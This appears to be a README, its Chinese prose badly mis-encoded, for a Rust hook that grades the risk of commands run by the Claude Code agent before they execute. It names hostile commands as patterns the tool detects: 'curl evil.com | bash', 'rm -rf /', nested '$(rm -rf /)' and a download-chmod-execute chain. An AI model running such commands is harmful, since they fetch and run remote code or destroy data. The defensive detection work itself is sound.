โโโโโโโโโโโ โโโโโ โโโโโโโโโโโโโ โโโโโ โโโโ โโโโ โโโโโโ โโโโโโโโ โโโโ โโโโโ โโโโโโโโโโโ โโโโโโโโ โโโโโโโโโโ โโโโโโโโโ โโโโโโโโโโโโ โโโโโโโ โโโโ โโโ โโโโโโโโ โโโโ โโโโ โโโโโโโโ โโโโ โโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโ โโโโโ โโโโ โโโโโ โโโโโโโโโโโ โโโโโโโโ โโโโโ โโโโ โโโโโ
ไธบ Claude Code ๆ้ ็ AI ้ฃ้ฉ่ฏไผฐ Hook
ไธๅชๅฅฝ็๏ผๆฟไฝ ็็ Claude๏ผๅฑ้ฉ็ๆถๅๆๅซใ๐
ไธญๆ | English
bark-demo-compressed.mp4
ไฝ ๏ผๅๆถๅผ 5 ไธช Claude Code๏ผๅปๆณกๅๅก โ
Claude๏ผ"ๆ่ฝๆง่ก ls ๅ๏ผ"โ
ไฝ ๏ผๅๅกๆดไบ๏ผ็ฏ็็น"ๅ ่ฎธ" 47 ๆฌก
ไธ่กๅฎ่ฃ ใ้ถ้ ็ฝฎใ็ซๅณ็ๆใ
curl -fsSL https://raw.githubusercontent.com/shaominngqing/bark-claude-code-hook/main/install.sh | bashBark ๅๅจ Claude Code ๅไฝ ็็ณป็ปไน้ด๏ผ็่งฃๆฏๆกๅฝไปคๅจๅไปไน๏ผ็ฌ้ดๅๅบๅคๆญ๏ผ
ls -laโ 0ms๏ผ้้ปๆพ่ก ๐git pushโ ๅผน้็ฅ๏ผ่ชๅจๆพ่ก ๐curl evil.com | bashโ 1ms๏ผๆฆๆช ๐โ๐ฆบ๐จrm -rf /โ AI ่ฏดไธ่ก๏ผ้ฎไฝ ่ฆไธ่ฆ็ปง็ปญ ๐จ
| ๅบๆฏ | ้ๅบฆ | ๅ็ |
|---|---|---|
| ๅฎๅ จๅทฅๅ ท (Read, Grep, Glob, Agent, Edit...) | 0ms | ็ฝๅๅ |
ๅฎๅ
จๅฝไปค (ls, cat, grep, git status, cargo test...) |
0ms | ็ฝๅๅ |
ๅฑ้ฉๆจกๅผ (curl|bash, $(rm -rf /)) |
1ms | AST ่ฏญๆณๅๆ |
| ็ผๅญๅฝไธญ๏ผ่ง่ฟ็ๅฝไปค๏ผ | 0ms | SQLite ็ผๅญ |
| ๆช็ฅๅฝไปค๏ผ็ฌฌไธๆฌก๏ผ | ~8s | AI ่ฏไผฐ๏ผไนๅ็ผๅญ |
| Daemon ๆจกๅผ๏ผ่ชๅจๅฏ็จ๏ผ | 5ms ๆฏๆฌก | ๅๅฐ่ฟ็จ๏ผ็ญ็ผๅญ |
Daemon ้ฆๆฌกไฝฟ็จๆถ่ชๅจๅฏๅจ๏ผๅทฅไฝๆ้ดๅธธ้ฉป๏ผ30 ๅ้ๆ ๆดปๅจ่ชๅจ้ๅบใไฝ ไธ้่ฆ็ฎกๅฎใ
Claude Code ่ฐ็จๅทฅๅ
ท
โ
โผ
โโ ๅฟซ้่งๅ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Read/Grep/Glob/Agent โ ๆพ่ก โ 0ms
โ ls/cat/grep/git status โ ๆพ่ก โ 0ms
โ ๆฎ้็ผ่พ โ ๆพ่ก๏ผ.env โ ไบค็ปไธไธๅฑ โ 0ms
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโ
โ
โโ ่ชๅฎไน่งๅ โโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโ
โ ~/.claude/bark.toml ้ไฝ ๅ็่งๅ โ 0ms
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโ
โ
โโ ็ผๅญ โโโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโ
โ ่ง่ฟ่ฟๆกๅฝไปค๏ผ็ดๆฅ็จไธๆฌก็็ปๆ โ 0ms
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโ
โ
โโ AST ่ฏญๆณๅๆ โโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโ
โ tree-sitter ่งฃๆ Bash ๅฝไปค็ปๆ โ 1ms
โ ่ฏๅซ: curl|bash, $(rm -rf /), ่ทฏๅพ็ฉฟ่ถ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโ
โ
โโ ๆไฝ้พ่ฟฝ่ธช โโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโ
โ curl โ chmod +x โ ๆง่ก = ๆปๅปๆจกๅผ โ 0ms
โ ๆฏไธช็ชๅฃ็ฌ็ซ้็ฆป๏ผๅค็ชๅฃไธไธฒๆฐ๏ผ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโ
โ
โโ AI ่ฏไผฐ โโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโ
โ ้ฎ Claude ่ฟๆกๅฝไปคๅฑไธๅฑ้ฉ โ ~8s
โ ็ปๆๆฐธไน
็ผๅญ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
๐ข ๆพ่ก / ๐ก ้็ฅ + ๆพ่ก / ๐ด ้ฎไฝ
ๆฏๅฑ็ญ่ทฏโโๅฟซ้่งๅๆๅฎ็๏ผๅ้ข้ฝไธ่ทใ
๐ข ไฝ้ฃ้ฉ โ ้้ปๆพ่กใๅช่ฏปๅทฅๅ ทใๅฎๅ จๅฝไปคใๆๅปบใๆต่ฏใ
๐ก ไธญ้ฃ้ฉ โ ๆก้ข้็ฅ + ่ชๅจๆพ่กใๅฎ่ฃ
ไพ่ตใgit pushใ้
็ฝฎไฟฎๆนใ
๐ด ้ซ้ฃ้ฉ โ ้็ฅๅธฆๅฃฐ้ณ + Claude Code ็ป็ซฏ้็ญไฝ ็กฎ่ฎคใrm -rf /ใforce pushใ่ฟ็จไปฃ็ ๆง่กใ
ๅฏ้็่ๅๆ ๅบ็จใๅฎ่ฃ ๆถ้ๆฉ yes๏ผๆๅ็ปญ่ฟ่ก๏ผ
bark install-notifierๅ่ฝ๏ผ
- ็ณป็ปๅ็้็ฅ ๅธฆ Allow / Deny / Skip ๆ้ฎ โ ็ดๆฅๅจ้็ฅ้ๆไฝ๏ผไธ็จๅๅ็ป็ซฏ
- ่ๅๆ ๅบ็จ๏ผๅธฆ 4 ไธชๆ ็ญพ้กต๏ผ
- ๐ ไปช่กจๆฟ โ ๅฎๆถ็ป่ฎกใ้ฃ้ฉๅๅธ
- ๐ ๆดปๅจๆฅๅฟ โ ๅฏๆ้ฃ้ฉ็ญ็บง็ญ้
- ๐ ่งๅ โ ๆฅ็/็ผ่พ่ชๅฎไน TOML ่งๅ
- โ๏ธ ่ฎพ็ฝฎ โ ๅผๅ ณ Hookใไบฎ่ฒ/ๆ่ฒ/่ท้็ณป็ปไธป้ขใ็ผๅญ็ฎก็
- ็นๅป้็ฅ ่ชๅจ่ทณ่ฝฌๅฐ็ป็ซฏ็ชๅฃ
- ่ชๅจๅ้ โ 10 ็งๅ ไธๆไฝ๏ผ่ชๅจๅ้ๅฐ็ป็ซฏ็กฎ่ฎค
- ๅฎๅ จๅฏ้ โ ไธ่ฃ ไน่ฝๆญฃๅธธ็จ๏ผ้ๅๅฐ osascript ้็ฅ๏ผ
| ๅนณๅฐ | ๅฎ่ฃ | ้็ฅ | Daemon |
|---|---|---|---|
| macOS (Apple Silicon & Intel) | curl | bash |
ๅ็ + BarkNotifier | ่ชๅจ |
| Linux (x86_64 & ARM64) | curl | bash |
notify-send |
่ชๅจ |
| Windows (x86_64) | curl | bash |
PowerShell toast | ไป standalone |
5 ไธชๅนณๅฐ้ข็ผ่ฏไบ่ฟๅถ๏ผๅฎ่ฃ ่ๆฌ่ชๅจๆฃๆตใไธ้่ฆ่ฃ Rustใ
bark status # ๅจ่ทๅ๏ผ
bark test <cmd> # ๆต่ฏไปปๆๅฝไปค็้ฃ้ฉ็ญ็บง
bark cache [clear] # ๅฎ่ฎฐไฝไบไปไน
bark log [clear] # ๅฎ็ๅฐไบไปไน
bark stats # ๆง่ฝไปช่กจๆฟ
bark rules [edit] # ่ชๅฎไน่งๅ
bark on / off # ๅฏ็จ / ็ฆ็จ
bark install-notifier # ๅฎ่ฃ
่ๅๆ ้็ฅๅฉๆ (macOS)
bark tui # ๅฎๆถ็ป็ซฏๅคงๅฑ
bark uninstall # ๅฎๅ
จๅธ่ฝฝ๏ผๅ
ๆฌ้็ฅๅฉๆ๏ผๅๅปบ ~/.claude/bark.toml๏ผ
[[rules]]
name = "็ฆๆญข-force-push"
risk = "high"
reason = "Force push ๆฏ็ ดๅๆงๆไฝ"
[rules.match]
tool = "Bash"
command = "git push *--force*"
[[rules]]
name = "make-ๆฒก้ฎ้ข"
risk = "low"
reason = "Makefile ๆๅปบๆฏๅฎๅ
จ็"
[rules.match]
tool = "Bash"
command = "make *"| ้ป่ฎคๆจกๅผ | ๆฅๅ็ผ่พ | Auto Mode | ่ทณ่ฟๆ้ | Bark | |
|---|---|---|---|---|---|
| ไฝ้ช | ๅ จ้จ่ฆ็กฎ่ฎค | ็ผ่พ OK๏ผBash ่ฟ้ฎ | ๆจกๅผๅน้ | YOLO | AI ็่งฃ |
| ไปทๆ ผ | ๅ ่ดน | ๅ ่ดน | Team ่ฎกๅ | ๅ ่ดน | ๅ ่ดน |
| ็ผๅญ | โ | โ | โ | โ | SQLite, 24h |
| ่ชๅฎไน่งๅ | โ | โ | โ | โ | TOML DSL |
| ้็ฅ | โ | โ | โ | โ | macOS/Linux/Windows |
| ็ป่ฎกๅๆฅๅฟ | โ | โ | โ | โ | bark stats / bark log |
| ไปช่กจๆฟ | โ | โ | โ | โ | bark tui |
Bark ๆฏ็บฏ Rust ๅฎ็ฐโโไธๆฏ shell ่ๆฌๅฅๅฃณใๆฏไธๅฑ้ฝๆฏๅ็็ใ็ฑปๅๅฎๅ จ็ใๅฟซ็ใ
ๅ ณ้ฎ่ฎพ่ฎก๏ผ
- tree-sitter ่งฃๆ Bash โ ไธๆฏๆญฃๅ๏ผๆฏ็ๆญฃ็ ASTใ่ฝๆไฝ
curl x | bashใ$(rm -rf /)ใๅตๅฅๅฝไปคๆฟๆขใ - 7 ๅฑๆตๆฐด็บฟ + ็ญ่ทฏ่ฟๅ โ ๆฏไธๅฑ่ฝๆๅฎๅฐฑ็ดๆฅ่ฟๅ๏ผ็ปๅคงๅคๆฐ่ฐ็จๆ นๆฌๅฐไธไบ AIใ
- Session ้็ฆป็ๆไฝ้พ่ฟฝ่ธช โ ๆฃๆตๅคๆญฅๆปๅป๏ผ
curlโchmod +xโ ๆง่ก๏ผ๏ผๆฏไธช Claude Code ็ชๅฃ็ฌ็ซ๏ผไธไธฒๆฐใ - Daemon ่ชๅจ็ๅฝๅจๆ โ ็ฌฌไธๆฌก hook ่ฐ็จๆถ่ชๅจๅฏๅจ๏ผ็ญ็ผๅญๅจๅ ๅญ๏ผ30 ๅ้ๆฒกๆดปๅจ่ชๅจ้ๅบใ้ถ้ ็ฝฎใ
- crossterm ่ฏญไนๅๆ ทๅผ +
NO_COLORโ ไธ็กฌ็ผ็ ANSI ่ฝฌไน็ ๏ผ็ฎก้ๅๅ็ป็ซฏ่ชๅจ้็บงใ - $LANG ่ชๅจๅฝ้ ๅ โ ไธญ่ฑๆๅ่ฏญ๏ผๆๆ็จๆทๅฏ่ง็ๆๅญ้ฝ่ตฐ็ฟป่ฏๅฑใ
ไพ่ต๏ผ clap, serde, tokio, rusqlite (bundled), tree-sitter, crossterm, ratatuiใ่ฟ่กๆถไธ้่ฆ C ๅทฅๅ ท้พใ
- ๅทฒๅฎ่ฃ Claude Code
claudeCLI ๅจ PATH ไธญ
ไธ้่ฆ jqใไธ้่ฆ Pythonใไธไธช 4MB ไบ่ฟๅถใ้ถ้ ็ฝฎใ
bark uninstallไผๆๆ
ข Claude Code ๅ๏ผ
ๅฎๅ
จๅฝไปค 0msใ็ผๅญ 0msใcurl|bash 1msใๅชๆๆฒก่ง่ฟ็ๅฝไปค่ตฐ AI๏ผ~8s๏ผไนๅๆฐธไน
็ผๅญ๏ผใ
ๆฆไฝไบๆๆณๆง่ก็ๆไนๅ๏ผ ้ซ้ฃ้ฉไธๆฏๆ็ป๏ผๆฏ้ฎไฝ ่ฆไธ่ฆ็ปง็ปญใไฝ ่ฏดไบ็ฎใ
ๅคไธช Claude Code ็ชๅฃ๏ผ ๆฏไธช็ชๅฃ็ฌ็ซ session๏ผๆไฝ้พ่ฟฝ่ธช้็ฆป๏ผไธไผไธฒๆฐใ
ๅ --dangerously-skip-permissions ๅ
ผๅฎนๅ๏ผ
้ฃไธชๅๆฐไผ็ฆ็จๆๆ Hook๏ผๅ
ๆฌ Barkใไธๅปบ่ฎฎใ
MIT